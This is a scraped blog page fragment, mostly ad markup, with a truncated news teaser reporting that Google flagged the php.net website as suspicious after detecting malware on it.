<ins class="adsbygoogle" data-ad-client="ca-pub-7983783048239650" data-ad-slot="6391846819" style="background-color: white; color: #555555; display: inline-block; font-family: arial, sans-serif; font-size: 14px; height: 90px; line-height: 24px; margin: 0px; outline: 0px; padding: 0px; text-align: justify; width: 728px;"></ins><br />
<div style="-webkit-text-stroke-width: 0px; background-color: white; clear: both; color: #555555; font-family: arial, sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; margin: 0px; orphans: auto; outline: 0px; padding: 0px; text-align: justify; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
</div>
<div style="-webkit-text-stroke-width: 0px; background-color: white; color: #555555; font-family: arial, sans-serif; font-size: 14px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 24px; margin: 10px 0px 0px; orphans: auto; outline: 0px; padding: 0px; text-align: justify; text-indent: 0px; text-transform: none; white-space: normal; widows: auto; word-spacing: 0px;">
</div>
</div>

<script language="JavaScript1.1" src="http://bdv.bidvertiser.com/BidVertiser.dbm?pid=562652&bid=1411471" type="text/javascript"></script>
<noscript><a href="http://www.bidvertiser.com">pay per click</a></noscript>

Google detected Malware on PHP.net website; Flagged as 'Suspicious' site

If you are today trying to visit the php.net website, an official website of the PHP scripting language, you will likely see the abov...

+ Read more »